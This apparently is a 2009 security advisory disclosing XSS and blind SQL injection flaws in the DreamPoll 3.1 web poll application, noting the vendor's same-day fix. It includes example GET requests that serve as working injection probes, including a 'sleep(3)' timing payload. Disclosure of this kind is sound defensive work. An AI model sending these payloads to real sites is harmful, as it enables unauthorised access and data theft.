DreamPoll 3.1 Vulnerabilities

October 7, 2009 in Research, Vulnerabilities, Web | No comments

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During a recent security audit of the DreamPoll 3.1 software by , I discovered a number of XSS and SQL Injection vulnerabilities in the application.  These vulnerabilities could be exploited to make unauthorized changes to a web site or compromise a client accessing a site that utilizes the application.  Details of the vulnerabilities are as follows:

XSS
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File: index.php
Variable: recordsPerPage
Example: GET /index.php?action=login&sortField=poll_default&sortDesc=1&recordsPerPage=1>”>

Blind SQL/Xpath Injection
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File: index.php
Variable: sortField
Example: GET /index.php?action=loginsortField=poll_default+and+31337-31337=0&sortDesc=1&recordsPerPage=20

Blind SQL Injection (Timing)
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File: index.php
Variables: sortField, sortDesc, pageNumber
Example: GET /index.php?action=loginsortField=poll_default+and+sleep(3)%23&sortDesc=1&recordsPerPage=20

While not specifically tested, it is likely these vulnerabilities exist in earlier versions of this application as well.  The vendor was notified on 09/28/2009 and a fix was released the same day.  If you are a current user of this software, contact the vendor for the available fix.

Tags: DreamPoll Vulnerabilities, Web Application Security

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